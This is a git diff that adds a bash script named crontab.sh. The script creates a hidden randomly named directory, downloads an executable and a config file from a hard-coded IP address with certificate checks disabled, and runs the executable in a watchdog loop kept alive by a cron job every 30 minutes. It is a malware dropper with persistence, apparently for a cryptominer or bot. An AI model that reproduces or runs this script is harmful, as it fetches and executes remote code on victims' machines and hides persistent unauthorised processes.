diff --git a/crontab.sh b/crontab.sh
new file mode 100644
index 0000000..89fd6d8
--- /dev/null
+++ b/crontab.sh
@@ -0,0 +1,28 @@
+#!/bin/bash
+
+path=$PWD
+
+if [ -w $path ]; then
+    dir=.$(head /dev/urandom | tr -dc a-z | head -c 5)
+    mkdir $dir
+    cd $dir
+    path=$PWD
+    salt=$(head /dev/urandom | tr -dc a-z | head -c 7)
+    m=$path/$(head /dev/urandom | tr -dc a-z | head -c 1)
+    if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then
+        curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x
+    fi
+    if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then
+        curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10
+    fi
+    if [ ! -f "$path/x" ]; then exit; fi
+    if [ ! -f "$path/10" ]; then exit; fi
+    chmod 777 x
+    sed "s/BBBBBBB/$salt/" -i 10
+    log=$path/.log
+    echo "#!/bin/bash" > $m
+    echo "for i in \$(seq 1 120); do if pgrep -x \"x\" >/dev/null 2>&1; then  sleep 15;  else rm -f $log; timeout 1800 $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
+    chmod 777 $m 
+    (crontab -l; echo "*/30 * * * * $m") | crontab -
+    echo $salt
+fi